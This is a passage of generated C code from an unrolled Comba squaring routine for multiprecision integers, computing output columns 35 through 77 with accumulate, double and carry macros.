SQRADDSC(a[0], a[35]); SQRADDAC(a[1], a[34]); SQRADDAC(a[2], a[33]); SQRADDAC(a[3], a[32]); SQRADDAC(a[4], a[31]); SQRADDAC(a[5], a[30]); SQRADDAC(a[6], a[29]); SQRADDAC(a[7], a[28]); SQRADDAC(a[8], a[27]); SQRADDAC(a[9], a[26]); SQRADDAC(a[10], a[25]); SQRADDAC(a[11], a[24]); SQRADDAC(a[12], a[23]); SQRADDAC(a[13], a[22]); SQRADDAC(a[14], a[21]); SQRADDAC(a[15], a[20]); SQRADDAC(a[16], a[19]); SQRADDAC(a[17], a[18]); SQRADDDB;
COMBA_STORE(b[35]);
/* output 36 */
CARRY_FORWARD;
SQRADDSC(a[0], a[36]); SQRADDAC(a[1], a[35]); SQRADDAC(a[2], a[34]); SQRADDAC(a[3], a[33]); SQRADDAC(a[4], a[32]); SQRADDAC(a[5], a[31]); SQRADDAC(a[6], a[30]); SQRADDAC(a[7], a[29]); SQRADDAC(a[8], a[28]); SQRADDAC(a[9], a[27]); SQRADDAC(a[10], a[26]); SQRADDAC(a[11], a[25]); SQRADDAC(a[12], a[24]); SQRADDAC(a[13], a[23]); SQRADDAC(a[14], a[22]); SQRADDAC(a[15], a[21]); SQRADDAC(a[16], a[20]); SQRADDAC(a[17], a[19]); SQRADDDB; SQRADD(a[18], a[18]);
COMBA_STORE(b[36]);
/* output 37 */
CARRY_FORWARD;
SQRADDSC(a[0], a[37]); SQRADDAC(a[1], a[36]); SQRADDAC(a[2], a[35]); SQRADDAC(a[3], a[34]); SQRADDAC(a[4], a[33]); SQRADDAC(a[5], a[32]); SQRADDAC(a[6], a[31]); SQRADDAC(a[7], a[30]); SQRADDAC(a[8], a[29]); SQRADDAC(a[9], a[28]); SQRADDAC(a[10], a[27]); SQRADDAC(a[11], a[26]); SQRADDAC(a[12], a[25]); SQRADDAC(a[13], a[24]); SQRADDAC(a[14], a[23]); SQRADDAC(a[15], a[22]); SQRADDAC(a[16], a[21]); SQRADDAC(a[17], a[20]); SQRADDAC(a[18], a[19]); SQRADDDB;
COMBA_STORE(b[37]);
/* output 38 */
CARRY_FORWARD;
SQRADDSC(a[0], a[38]); SQRADDAC(a[1], a[37]); SQRADDAC(a[2], a[36]); SQRADDAC(a[3], a[35]); SQRADDAC(a[4], a[34]); SQRADDAC(a[5], a[33]); SQRADDAC(a[6], a[32]); SQRADDAC(a[7], a[31]); SQRADDAC(a[8], a[30]); SQRADDAC(a[9], a[29]); SQRADDAC(a[10], a[28]); SQRADDAC(a[11], a[27]); SQRADDAC(a[12], a[26]); SQRADDAC(a[13], a[25]); SQRADDAC(a[14], a[24]); SQRADDAC(a[15], a[23]); SQRADDAC(a[16], a[22]); SQRADDAC(a[17], a[21]); SQRADDAC(a[18], a[20]); SQRADDDB; SQRADD(a[19], a[19]);
COMBA_STORE(b[38]);
/* output 39 */
CARRY_FORWARD;
SQRADDSC(a[0], a[39]); SQRADDAC(a[1], a[38]); SQRADDAC(a[2], a[37]); SQRADDAC(a[3], a[36]); SQRADDAC(a[4], a[35]); SQRADDAC(a[5], a[34]); SQRADDAC(a[6], a[33]); SQRADDAC(a[7], a[32]); SQRADDAC(a[8], a[31]); SQRADDAC(a[9], a[30]); SQRADDAC(a[10], a[29]); SQRADDAC(a[11], a[28]); SQRADDAC(a[12], a[27]); SQRADDAC(a[13], a[26]); SQRADDAC(a[14], a[25]); SQRADDAC(a[15], a[24]); SQRADDAC(a[16], a[23]); SQRADDAC(a[17], a[22]); SQRADDAC(a[18], a[21]); SQRADDAC(a[19], a[20]); SQRADDDB;
COMBA_STORE(b[39]);
/* output 40 */
CARRY_FORWARD;
SQRADDSC(a[0], a[40]); SQRADDAC(a[1], a[39]); SQRADDAC(a[2], a[38]); SQRADDAC(a[3], a[37]); SQRADDAC(a[4], a[36]); SQRADDAC(a[5], a[35]); SQRADDAC(a[6], a[34]); SQRADDAC(a[7], a[33]); SQRADDAC(a[8], a[32]); SQRADDAC(a[9], a[31]); SQRADDAC(a[10], a[30]); SQRADDAC(a[11], a[29]); SQRADDAC(a[12], a[28]); SQRADDAC(a[13], a[27]); SQRADDAC(a[14], a[26]); SQRADDAC(a[15], a[25]); SQRADDAC(a[16], a[24]); SQRADDAC(a[17], a[23]); SQRADDAC(a[18], a[22]); SQRADDAC(a[19], a[21]); SQRADDDB; SQRADD(a[20], a[20]);
COMBA_STORE(b[40]);
/* output 41 */
CARRY_FORWARD;
SQRADDSC(a[0], a[41]); SQRADDAC(a[1], a[40]); SQRADDAC(a[2], a[39]); SQRADDAC(a[3], a[38]); SQRADDAC(a[4], a[37]); SQRADDAC(a[5], a[36]); SQRADDAC(a[6], a[35]); SQRADDAC(a[7], a[34]); SQRADDAC(a[8], a[33]); SQRADDAC(a[9], a[32]); SQRADDAC(a[10], a[31]); SQRADDAC(a[11], a[30]); SQRADDAC(a[12], a[29]); SQRADDAC(a[13], a[28]); SQRADDAC(a[14], a[27]); SQRADDAC(a[15], a[26]); SQRADDAC(a[16], a[25]); SQRADDAC(a[17], a[24]); SQRADDAC(a[18], a[23]); SQRADDAC(a[19], a[22]); SQRADDAC(a[20], a[21]); SQRADDDB;
COMBA_STORE(b[41]);
/* output 42 */
CARRY_FORWARD;
SQRADDSC(a[0], a[42]); SQRADDAC(a[1], a[41]); SQRADDAC(a[2], a[40]); SQRADDAC(a[3], a[39]); SQRADDAC(a[4], a[38]); SQRADDAC(a[5], a[37]); SQRADDAC(a[6], a[36]); SQRADDAC(a[7], a[35]); SQRADDAC(a[8], a[34]); SQRADDAC(a[9], a[33]); SQRADDAC(a[10], a[32]); SQRADDAC(a[11], a[31]); SQRADDAC(a[12], a[30]); SQRADDAC(a[13], a[29]); SQRADDAC(a[14], a[28]); SQRADDAC(a[15], a[27]); SQRADDAC(a[16], a[26]); SQRADDAC(a[17], a[25]); SQRADDAC(a[18], a[24]); SQRADDAC(a[19], a[23]); SQRADDAC(a[20], a[22]); SQRADDDB; SQRADD(a[21], a[21]);
COMBA_STORE(b[42]);
/* output 43 */
CARRY_FORWARD;
SQRADDSC(a[0], a[43]); SQRADDAC(a[1], a[42]); SQRADDAC(a[2], a[41]); SQRADDAC(a[3], a[40]); SQRADDAC(a[4], a[39]); SQRADDAC(a[5], a[38]); SQRADDAC(a[6], a[37]); SQRADDAC(a[7], a[36]); SQRADDAC(a[8], a[35]); SQRADDAC(a[9], a[34]); SQRADDAC(a[10], a[33]); SQRADDAC(a[11], a[32]); SQRADDAC(a[12], a[31]); SQRADDAC(a[13], a[30]); SQRADDAC(a[14], a[29]); SQRADDAC(a[15], a[28]); SQRADDAC(a[16], a[27]); SQRADDAC(a[17], a[26]); SQRADDAC(a[18], a[25]); SQRADDAC(a[19], a[24]); SQRADDAC(a[20], a[23]); SQRADDAC(a[21], a[22]); SQRADDDB;
COMBA_STORE(b[43]);
/* output 44 */
CARRY_FORWARD;
SQRADDSC(a[0], a[44]); SQRADDAC(a[1], a[43]); SQRADDAC(a[2], a[42]); SQRADDAC(a[3], a[41]); SQRADDAC(a[4], a[40]); SQRADDAC(a[5], a[39]); SQRADDAC(a[6], a[38]); SQRADDAC(a[7], a[37]); SQRADDAC(a[8], a[36]); SQRADDAC(a[9], a[35]); SQRADDAC(a[10], a[34]); SQRADDAC(a[11], a[33]); SQRADDAC(a[12], a[32]); SQRADDAC(a[13], a[31]); SQRADDAC(a[14], a[30]); SQRADDAC(a[15], a[29]); SQRADDAC(a[16], a[28]); SQRADDAC(a[17], a[27]); SQRADDAC(a[18], a[26]); SQRADDAC(a[19], a[25]); SQRADDAC(a[20], a[24]); SQRADDAC(a[21], a[23]); SQRADDDB; SQRADD(a[22], a[22]);
COMBA_STORE(b[44]);
/* output 45 */
CARRY_FORWARD;
SQRADDSC(a[0], a[45]); SQRADDAC(a[1], a[44]); SQRADDAC(a[2], a[43]); SQRADDAC(a[3], a[42]); SQRADDAC(a[4], a[41]); SQRADDAC(a[5], a[40]); SQRADDAC(a[6], a[39]); SQRADDAC(a[7], a[38]); SQRADDAC(a[8], a[37]); SQRADDAC(a[9], a[36]); SQRADDAC(a[10], a[35]); SQRADDAC(a[11], a[34]); SQRADDAC(a[12], a[33]); SQRADDAC(a[13], a[32]); SQRADDAC(a[14], a[31]); SQRADDAC(a[15], a[30]); SQRADDAC(a[16], a[29]); SQRADDAC(a[17], a[28]); SQRADDAC(a[18], a[27]); SQRADDAC(a[19], a[26]); SQRADDAC(a[20], a[25]); SQRADDAC(a[21], a[24]); SQRADDAC(a[22], a[23]); SQRADDDB;
COMBA_STORE(b[45]);
/* output 46 */
CARRY_FORWARD;
SQRADDSC(a[0], a[46]); SQRADDAC(a[1], a[45]); SQRADDAC(a[2], a[44]); SQRADDAC(a[3], a[43]); SQRADDAC(a[4], a[42]); SQRADDAC(a[5], a[41]); SQRADDAC(a[6], a[40]); SQRADDAC(a[7], a[39]); SQRADDAC(a[8], a[38]); SQRADDAC(a[9], a[37]); SQRADDAC(a[10], a[36]); SQRADDAC(a[11], a[35]); SQRADDAC(a[12], a[34]); SQRADDAC(a[13], a[33]); SQRADDAC(a[14], a[32]); SQRADDAC(a[15], a[31]); SQRADDAC(a[16], a[30]); SQRADDAC(a[17], a[29]); SQRADDAC(a[18], a[28]); SQRADDAC(a[19], a[27]); SQRADDAC(a[20], a[26]); SQRADDAC(a[21], a[25]); SQRADDAC(a[22], a[24]); SQRADDDB; SQRADD(a[23], a[23]);
COMBA_STORE(b[46]);
/* output 47 */
CARRY_FORWARD;
SQRADDSC(a[0], a[47]); SQRADDAC(a[1], a[46]); SQRADDAC(a[2], a[45]); SQRADDAC(a[3], a[44]); SQRADDAC(a[4], a[43]); SQRADDAC(a[5], a[42]); SQRADDAC(a[6], a[41]); SQRADDAC(a[7], a[40]); SQRADDAC(a[8], a[39]); SQRADDAC(a[9], a[38]); SQRADDAC(a[10], a[37]); SQRADDAC(a[11], a[36]); SQRADDAC(a[12], a[35]); SQRADDAC(a[13], a[34]); SQRADDAC(a[14], a[33]); SQRADDAC(a[15], a[32]); SQRADDAC(a[16], a[31]); SQRADDAC(a[17], a[30]); SQRADDAC(a[18], a[29]); SQRADDAC(a[19], a[28]); SQRADDAC(a[20], a[27]); SQRADDAC(a[21], a[26]); SQRADDAC(a[22], a[25]); SQRADDAC(a[23], a[24]); SQRADDDB;
COMBA_STORE(b[47]);
/* output 48 */
CARRY_FORWARD;
SQRADDSC(a[1], a[47]); SQRADDAC(a[2], a[46]); SQRADDAC(a[3], a[45]); SQRADDAC(a[4], a[44]); SQRADDAC(a[5], a[43]); SQRADDAC(a[6], a[42]); SQRADDAC(a[7], a[41]); SQRADDAC(a[8], a[40]); SQRADDAC(a[9], a[39]); SQRADDAC(a[10], a[38]); SQRADDAC(a[11], a[37]); SQRADDAC(a[12], a[36]); SQRADDAC(a[13], a[35]); SQRADDAC(a[14], a[34]); SQRADDAC(a[15], a[33]); SQRADDAC(a[16], a[32]); SQRADDAC(a[17], a[31]); SQRADDAC(a[18], a[30]); SQRADDAC(a[19], a[29]); SQRADDAC(a[20], a[28]); SQRADDAC(a[21], a[27]); SQRADDAC(a[22], a[26]); SQRADDAC(a[23], a[25]); SQRADDDB; SQRADD(a[24], a[24]);
COMBA_STORE(b[48]);
/* output 49 */
CARRY_FORWARD;
SQRADDSC(a[2], a[47]); SQRADDAC(a[3], a[46]); SQRADDAC(a[4], a[45]); SQRADDAC(a[5], a[44]); SQRADDAC(a[6], a[43]); SQRADDAC(a[7], a[42]); SQRADDAC(a[8], a[41]); SQRADDAC(a[9], a[40]); SQRADDAC(a[10], a[39]); SQRADDAC(a[11], a[38]); SQRADDAC(a[12], a[37]); SQRADDAC(a[13], a[36]); SQRADDAC(a[14], a[35]); SQRADDAC(a[15], a[34]); SQRADDAC(a[16], a[33]); SQRADDAC(a[17], a[32]); SQRADDAC(a[18], a[31]); SQRADDAC(a[19], a[30]); SQRADDAC(a[20], a[29]); SQRADDAC(a[21], a[28]); SQRADDAC(a[22], a[27]); SQRADDAC(a[23], a[26]); SQRADDAC(a[24], a[25]); SQRADDDB;
COMBA_STORE(b[49]);
/* output 50 */
CARRY_FORWARD;
SQRADDSC(a[3], a[47]); SQRADDAC(a[4], a[46]); SQRADDAC(a[5], a[45]); SQRADDAC(a[6], a[44]); SQRADDAC(a[7], a[43]); SQRADDAC(a[8], a[42]); SQRADDAC(a[9], a[41]); SQRADDAC(a[10], a[40]); SQRADDAC(a[11], a[39]); SQRADDAC(a[12], a[38]); SQRADDAC(a[13], a[37]); SQRADDAC(a[14], a[36]); SQRADDAC(a[15], a[35]); SQRADDAC(a[16], a[34]); SQRADDAC(a[17], a[33]); SQRADDAC(a[18], a[32]); SQRADDAC(a[19], a[31]); SQRADDAC(a[20], a[30]); SQRADDAC(a[21], a[29]); SQRADDAC(a[22], a[28]); SQRADDAC(a[23], a[27]); SQRADDAC(a[24], a[26]); SQRADDDB; SQRADD(a[25], a[25]);
COMBA_STORE(b[50]);
/* output 51 */
CARRY_FORWARD;
SQRADDSC(a[4], a[47]); SQRADDAC(a[5], a[46]); SQRADDAC(a[6], a[45]); SQRADDAC(a[7], a[44]); SQRADDAC(a[8], a[43]); SQRADDAC(a[9], a[42]); SQRADDAC(a[10], a[41]); SQRADDAC(a[11], a[40]); SQRADDAC(a[12], a[39]); SQRADDAC(a[13], a[38]); SQRADDAC(a[14], a[37]); SQRADDAC(a[15], a[36]); SQRADDAC(a[16], a[35]); SQRADDAC(a[17], a[34]); SQRADDAC(a[18], a[33]); SQRADDAC(a[19], a[32]); SQRADDAC(a[20], a[31]); SQRADDAC(a[21], a[30]); SQRADDAC(a[22], a[29]); SQRADDAC(a[23], a[28]); SQRADDAC(a[24], a[27]); SQRADDAC(a[25], a[26]); SQRADDDB;
COMBA_STORE(b[51]);
/* output 52 */
CARRY_FORWARD;
SQRADDSC(a[5], a[47]); SQRADDAC(a[6], a[46]); SQRADDAC(a[7], a[45]); SQRADDAC(a[8], a[44]); SQRADDAC(a[9], a[43]); SQRADDAC(a[10], a[42]); SQRADDAC(a[11], a[41]); SQRADDAC(a[12], a[40]); SQRADDAC(a[13], a[39]); SQRADDAC(a[14], a[38]); SQRADDAC(a[15], a[37]); SQRADDAC(a[16], a[36]); SQRADDAC(a[17], a[35]); SQRADDAC(a[18], a[34]); SQRADDAC(a[19], a[33]); SQRADDAC(a[20], a[32]); SQRADDAC(a[21], a[31]); SQRADDAC(a[22], a[30]); SQRADDAC(a[23], a[29]); SQRADDAC(a[24], a[28]); SQRADDAC(a[25], a[27]); SQRADDDB; SQRADD(a[26], a[26]);
COMBA_STORE(b[52]);
/* output 53 */
CARRY_FORWARD;
SQRADDSC(a[6], a[47]); SQRADDAC(a[7], a[46]); SQRADDAC(a[8], a[45]); SQRADDAC(a[9], a[44]); SQRADDAC(a[10], a[43]); SQRADDAC(a[11], a[42]); SQRADDAC(a[12], a[41]); SQRADDAC(a[13], a[40]); SQRADDAC(a[14], a[39]); SQRADDAC(a[15], a[38]); SQRADDAC(a[16], a[37]); SQRADDAC(a[17], a[36]); SQRADDAC(a[18], a[35]); SQRADDAC(a[19], a[34]); SQRADDAC(a[20], a[33]); SQRADDAC(a[21], a[32]); SQRADDAC(a[22], a[31]); SQRADDAC(a[23], a[30]); SQRADDAC(a[24], a[29]); SQRADDAC(a[25], a[28]); SQRADDAC(a[26], a[27]); SQRADDDB;
COMBA_STORE(b[53]);
/* output 54 */
CARRY_FORWARD;
SQRADDSC(a[7], a[47]); SQRADDAC(a[8], a[46]); SQRADDAC(a[9], a[45]); SQRADDAC(a[10], a[44]); SQRADDAC(a[11], a[43]); SQRADDAC(a[12], a[42]); SQRADDAC(a[13], a[41]); SQRADDAC(a[14], a[40]); SQRADDAC(a[15], a[39]); SQRADDAC(a[16], a[38]); SQRADDAC(a[17], a[37]); SQRADDAC(a[18], a[36]); SQRADDAC(a[19], a[35]); SQRADDAC(a[20], a[34]); SQRADDAC(a[21], a[33]); SQRADDAC(a[22], a[32]); SQRADDAC(a[23], a[31]); SQRADDAC(a[24], a[30]); SQRADDAC(a[25], a[29]); SQRADDAC(a[26], a[28]); SQRADDDB; SQRADD(a[27], a[27]);
COMBA_STORE(b[54]);
/* output 55 */
CARRY_FORWARD;
SQRADDSC(a[8], a[47]); SQRADDAC(a[9], a[46]); SQRADDAC(a[10], a[45]); SQRADDAC(a[11], a[44]); SQRADDAC(a[12], a[43]); SQRADDAC(a[13], a[42]); SQRADDAC(a[14], a[41]); SQRADDAC(a[15], a[40]); SQRADDAC(a[16], a[39]); SQRADDAC(a[17], a[38]); SQRADDAC(a[18], a[37]); SQRADDAC(a[19], a[36]); SQRADDAC(a[20], a[35]); SQRADDAC(a[21], a[34]); SQRADDAC(a[22], a[33]); SQRADDAC(a[23], a[32]); SQRADDAC(a[24], a[31]); SQRADDAC(a[25], a[30]); SQRADDAC(a[26], a[29]); SQRADDAC(a[27], a[28]); SQRADDDB;
COMBA_STORE(b[55]);
/* output 56 */
CARRY_FORWARD;
SQRADDSC(a[9], a[47]); SQRADDAC(a[10], a[46]); SQRADDAC(a[11], a[45]); SQRADDAC(a[12], a[44]); SQRADDAC(a[13], a[43]); SQRADDAC(a[14], a[42]); SQRADDAC(a[15], a[41]); SQRADDAC(a[16], a[40]); SQRADDAC(a[17], a[39]); SQRADDAC(a[18], a[38]); SQRADDAC(a[19], a[37]); SQRADDAC(a[20], a[36]); SQRADDAC(a[21], a[35]); SQRADDAC(a[22], a[34]); SQRADDAC(a[23], a[33]); SQRADDAC(a[24], a[32]); SQRADDAC(a[25], a[31]); SQRADDAC(a[26], a[30]); SQRADDAC(a[27], a[29]); SQRADDDB; SQRADD(a[28], a[28]);
COMBA_STORE(b[56]);
/* output 57 */
CARRY_FORWARD;
SQRADDSC(a[10], a[47]); SQRADDAC(a[11], a[46]); SQRADDAC(a[12], a[45]); SQRADDAC(a[13], a[44]); SQRADDAC(a[14], a[43]); SQRADDAC(a[15], a[42]); SQRADDAC(a[16], a[41]); SQRADDAC(a[17], a[40]); SQRADDAC(a[18], a[39]); SQRADDAC(a[19], a[38]); SQRADDAC(a[20], a[37]); SQRADDAC(a[21], a[36]); SQRADDAC(a[22], a[35]); SQRADDAC(a[23], a[34]); SQRADDAC(a[24], a[33]); SQRADDAC(a[25], a[32]); SQRADDAC(a[26], a[31]); SQRADDAC(a[27], a[30]); SQRADDAC(a[28], a[29]); SQRADDDB;
COMBA_STORE(b[57]);
/* output 58 */
CARRY_FORWARD;
SQRADDSC(a[11], a[47]); SQRADDAC(a[12], a[46]); SQRADDAC(a[13], a[45]); SQRADDAC(a[14], a[44]); SQRADDAC(a[15], a[43]); SQRADDAC(a[16], a[42]); SQRADDAC(a[17], a[41]); SQRADDAC(a[18], a[40]); SQRADDAC(a[19], a[39]); SQRADDAC(a[20], a[38]); SQRADDAC(a[21], a[37]); SQRADDAC(a[22], a[36]); SQRADDAC(a[23], a[35]); SQRADDAC(a[24], a[34]); SQRADDAC(a[25], a[33]); SQRADDAC(a[26], a[32]); SQRADDAC(a[27], a[31]); SQRADDAC(a[28], a[30]); SQRADDDB; SQRADD(a[29], a[29]);
COMBA_STORE(b[58]);
/* output 59 */
CARRY_FORWARD;
SQRADDSC(a[12], a[47]); SQRADDAC(a[13], a[46]); SQRADDAC(a[14], a[45]); SQRADDAC(a[15], a[44]); SQRADDAC(a[16], a[43]); SQRADDAC(a[17], a[42]); SQRADDAC(a[18], a[41]); SQRADDAC(a[19], a[40]); SQRADDAC(a[20], a[39]); SQRADDAC(a[21], a[38]); SQRADDAC(a[22], a[37]); SQRADDAC(a[23], a[36]); SQRADDAC(a[24], a[35]); SQRADDAC(a[25], a[34]); SQRADDAC(a[26], a[33]); SQRADDAC(a[27], a[32]); SQRADDAC(a[28], a[31]); SQRADDAC(a[29], a[30]); SQRADDDB;
COMBA_STORE(b[59]);
/* output 60 */
CARRY_FORWARD;
SQRADDSC(a[13], a[47]); SQRADDAC(a[14], a[46]); SQRADDAC(a[15], a[45]); SQRADDAC(a[16], a[44]); SQRADDAC(a[17], a[43]); SQRADDAC(a[18], a[42]); SQRADDAC(a[19], a[41]); SQRADDAC(a[20], a[40]); SQRADDAC(a[21], a[39]); SQRADDAC(a[22], a[38]); SQRADDAC(a[23], a[37]); SQRADDAC(a[24], a[36]); SQRADDAC(a[25], a[35]); SQRADDAC(a[26], a[34]); SQRADDAC(a[27], a[33]); SQRADDAC(a[28], a[32]); SQRADDAC(a[29], a[31]); SQRADDDB; SQRADD(a[30], a[30]);
COMBA_STORE(b[60]);
/* output 61 */
CARRY_FORWARD;
SQRADDSC(a[14], a[47]); SQRADDAC(a[15], a[46]); SQRADDAC(a[16], a[45]); SQRADDAC(a[17], a[44]); SQRADDAC(a[18], a[43]); SQRADDAC(a[19], a[42]); SQRADDAC(a[20], a[41]); SQRADDAC(a[21], a[40]); SQRADDAC(a[22], a[39]); SQRADDAC(a[23], a[38]); SQRADDAC(a[24], a[37]); SQRADDAC(a[25], a[36]); SQRADDAC(a[26], a[35]); SQRADDAC(a[27], a[34]); SQRADDAC(a[28], a[33]); SQRADDAC(a[29], a[32]); SQRADDAC(a[30], a[31]); SQRADDDB;
COMBA_STORE(b[61]);
/* output 62 */
CARRY_FORWARD;
SQRADDSC(a[15], a[47]); SQRADDAC(a[16], a[46]); SQRADDAC(a[17], a[45]); SQRADDAC(a[18], a[44]); SQRADDAC(a[19], a[43]); SQRADDAC(a[20], a[42]); SQRADDAC(a[21], a[41]); SQRADDAC(a[22], a[40]); SQRADDAC(a[23], a[39]); SQRADDAC(a[24], a[38]); SQRADDAC(a[25], a[37]); SQRADDAC(a[26], a[36]); SQRADDAC(a[27], a[35]); SQRADDAC(a[28], a[34]); SQRADDAC(a[29], a[33]); SQRADDAC(a[30], a[32]); SQRADDDB; SQRADD(a[31], a[31]);
COMBA_STORE(b[62]);
/* output 63 */
CARRY_FORWARD;
SQRADDSC(a[16], a[47]); SQRADDAC(a[17], a[46]); SQRADDAC(a[18], a[45]); SQRADDAC(a[19], a[44]); SQRADDAC(a[20], a[43]); SQRADDAC(a[21], a[42]); SQRADDAC(a[22], a[41]); SQRADDAC(a[23], a[40]); SQRADDAC(a[24], a[39]); SQRADDAC(a[25], a[38]); SQRADDAC(a[26], a[37]); SQRADDAC(a[27], a[36]); SQRADDAC(a[28], a[35]); SQRADDAC(a[29], a[34]); SQRADDAC(a[30], a[33]); SQRADDAC(a[31], a[32]); SQRADDDB;
COMBA_STORE(b[63]);
/* output 64 */
CARRY_FORWARD;
SQRADDSC(a[17], a[47]); SQRADDAC(a[18], a[46]); SQRADDAC(a[19], a[45]); SQRADDAC(a[20], a[44]); SQRADDAC(a[21], a[43]); SQRADDAC(a[22], a[42]); SQRADDAC(a[23], a[41]); SQRADDAC(a[24], a[40]); SQRADDAC(a[25], a[39]); SQRADDAC(a[26], a[38]); SQRADDAC(a[27], a[37]); SQRADDAC(a[28], a[36]); SQRADDAC(a[29], a[35]); SQRADDAC(a[30], a[34]); SQRADDAC(a[31], a[33]); SQRADDDB; SQRADD(a[32], a[32]);
COMBA_STORE(b[64]);
/* output 65 */
CARRY_FORWARD;
SQRADDSC(a[18], a[47]); SQRADDAC(a[19], a[46]); SQRADDAC(a[20], a[45]); SQRADDAC(a[21], a[44]); SQRADDAC(a[22], a[43]); SQRADDAC(a[23], a[42]); SQRADDAC(a[24], a[41]); SQRADDAC(a[25], a[40]); SQRADDAC(a[26], a[39]); SQRADDAC(a[27], a[38]); SQRADDAC(a[28], a[37]); SQRADDAC(a[29], a[36]); SQRADDAC(a[30], a[35]); SQRADDAC(a[31], a[34]); SQRADDAC(a[32], a[33]); SQRADDDB;
COMBA_STORE(b[65]);
/* output 66 */
CARRY_FORWARD;
SQRADDSC(a[19], a[47]); SQRADDAC(a[20], a[46]); SQRADDAC(a[21], a[45]); SQRADDAC(a[22], a[44]); SQRADDAC(a[23], a[43]); SQRADDAC(a[24], a[42]); SQRADDAC(a[25], a[41]); SQRADDAC(a[26], a[40]); SQRADDAC(a[27], a[39]); SQRADDAC(a[28], a[38]); SQRADDAC(a[29], a[37]); SQRADDAC(a[30], a[36]); SQRADDAC(a[31], a[35]); SQRADDAC(a[32], a[34]); SQRADDDB; SQRADD(a[33], a[33]);
COMBA_STORE(b[66]);
/* output 67 */
CARRY_FORWARD;
SQRADDSC(a[20], a[47]); SQRADDAC(a[21], a[46]); SQRADDAC(a[22], a[45]); SQRADDAC(a[23], a[44]); SQRADDAC(a[24], a[43]); SQRADDAC(a[25], a[42]); SQRADDAC(a[26], a[41]); SQRADDAC(a[27], a[40]); SQRADDAC(a[28], a[39]); SQRADDAC(a[29], a[38]); SQRADDAC(a[30], a[37]); SQRADDAC(a[31], a[36]); SQRADDAC(a[32], a[35]); SQRADDAC(a[33], a[34]); SQRADDDB;
COMBA_STORE(b[67]);
/* output 68 */
CARRY_FORWARD;
SQRADDSC(a[21], a[47]); SQRADDAC(a[22], a[46]); SQRADDAC(a[23], a[45]); SQRADDAC(a[24], a[44]); SQRADDAC(a[25], a[43]); SQRADDAC(a[26], a[42]); SQRADDAC(a[27], a[41]); SQRADDAC(a[28], a[40]); SQRADDAC(a[29], a[39]); SQRADDAC(a[30], a[38]); SQRADDAC(a[31], a[37]); SQRADDAC(a[32], a[36]); SQRADDAC(a[33], a[35]); SQRADDDB; SQRADD(a[34], a[34]);
COMBA_STORE(b[68]);
/* output 69 */
CARRY_FORWARD;
SQRADDSC(a[22], a[47]); SQRADDAC(a[23], a[46]); SQRADDAC(a[24], a[45]); SQRADDAC(a[25], a[44]); SQRADDAC(a[26], a[43]); SQRADDAC(a[27], a[42]); SQRADDAC(a[28], a[41]); SQRADDAC(a[29], a[40]); SQRADDAC(a[30], a[39]); SQRADDAC(a[31], a[38]); SQRADDAC(a[32], a[37]); SQRADDAC(a[33], a[36]); SQRADDAC(a[34], a[35]); SQRADDDB;
COMBA_STORE(b[69]);
/* output 70 */
CARRY_FORWARD;
SQRADDSC(a[23], a[47]); SQRADDAC(a[24], a[46]); SQRADDAC(a[25], a[45]); SQRADDAC(a[26], a[44]); SQRADDAC(a[27], a[43]); SQRADDAC(a[28], a[42]); SQRADDAC(a[29], a[41]); SQRADDAC(a[30], a[40]); SQRADDAC(a[31], a[39]); SQRADDAC(a[32], a[38]); SQRADDAC(a[33], a[37]); SQRADDAC(a[34], a[36]); SQRADDDB; SQRADD(a[35], a[35]);
COMBA_STORE(b[70]);
/* output 71 */
CARRY_FORWARD;
SQRADDSC(a[24], a[47]); SQRADDAC(a[25], a[46]); SQRADDAC(a[26], a[45]); SQRADDAC(a[27], a[44]); SQRADDAC(a[28], a[43]); SQRADDAC(a[29], a[42]); SQRADDAC(a[30], a[41]); SQRADDAC(a[31], a[40]); SQRADDAC(a[32], a[39]); SQRADDAC(a[33], a[38]); SQRADDAC(a[34], a[37]); SQRADDAC(a[35], a[36]); SQRADDDB;
COMBA_STORE(b[71]);
/* output 72 */
CARRY_FORWARD;
SQRADDSC(a[25], a[47]); SQRADDAC(a[26], a[46]); SQRADDAC(a[27], a[45]); SQRADDAC(a[28], a[44]); SQRADDAC(a[29], a[43]); SQRADDAC(a[30], a[42]); SQRADDAC(a[31], a[41]); SQRADDAC(a[32], a[40]); SQRADDAC(a[33], a[39]); SQRADDAC(a[34], a[38]); SQRADDAC(a[35], a[37]); SQRADDDB; SQRADD(a[36], a[36]);
COMBA_STORE(b[72]);
/* output 73 */
CARRY_FORWARD;
SQRADDSC(a[26], a[47]); SQRADDAC(a[27], a[46]); SQRADDAC(a[28], a[45]); SQRADDAC(a[29], a[44]); SQRADDAC(a[30], a[43]); SQRADDAC(a[31], a[42]); SQRADDAC(a[32], a[41]); SQRADDAC(a[33], a[40]); SQRADDAC(a[34], a[39]); SQRADDAC(a[35], a[38]); SQRADDAC(a[36], a[37]); SQRADDDB;
COMBA_STORE(b[73]);
/* output 74 */
CARRY_FORWARD;
SQRADDSC(a[27], a[47]); SQRADDAC(a[28], a[46]); SQRADDAC(a[29], a[45]); SQRADDAC(a[30], a[44]); SQRADDAC(a[31], a[43]); SQRADDAC(a[32], a[42]); SQRADDAC(a[33], a[41]); SQRADDAC(a[34], a[40]); SQRADDAC(a[35], a[39]); SQRADDAC(a[36], a[38]); SQRADDDB; SQRADD(a[37], a[37]);
COMBA_STORE(b[74]);
/* output 75 */
CARRY_FORWARD;
SQRADDSC(a[28], a[47]); SQRADDAC(a[29], a[46]); SQRADDAC(a[30], a[45]); SQRADDAC(a[31], a[44]); SQRADDAC(a[32], a[43]); SQRADDAC(a[33], a[42]); SQRADDAC(a[34], a[41]); SQRADDAC(a[35], a[40]); SQRADDAC(a[36], a[39]); SQRADDAC(a[37], a[38]); SQRADDDB;
COMBA_STORE(b[75]);
/* output 76 */
CARRY_FORWARD;
SQRADDSC(a[29], a[47]); SQRADDAC(a[30], a[46]); SQRADDAC(a[31], a[45]); SQRADDAC(a[32], a[44]); SQRADDAC(a[33], a[43]); SQRADDAC(a[34], a[42]); SQRADDAC(a[35], a[41]); SQRADDAC(a[36], a[40]); SQRADDAC(a[37], a[39]); SQRADDDB; SQRADD(a[38], a[38]);
COMBA_STORE(b[76]);
/* output 77 */
CARRY_FORWARD;
SQRADDSC(a[30], a[47]); SQRADDAC(a[31], a[46]); SQRADDAC(a[32], a[45]); SQRADDAC(a[33], a[44]); SQRADDAC(a[34], a[43]); SQRADDAC(a[35], a[42]); SQRADDAC(a[36], a[41]); SQRADDAC(a[37], a[40]); SQRADDAC(a[38], a[39]); SQRADDDB;
COMBA_STORE(b[77]);
/* output 78 */
CARRY_FORWARD;
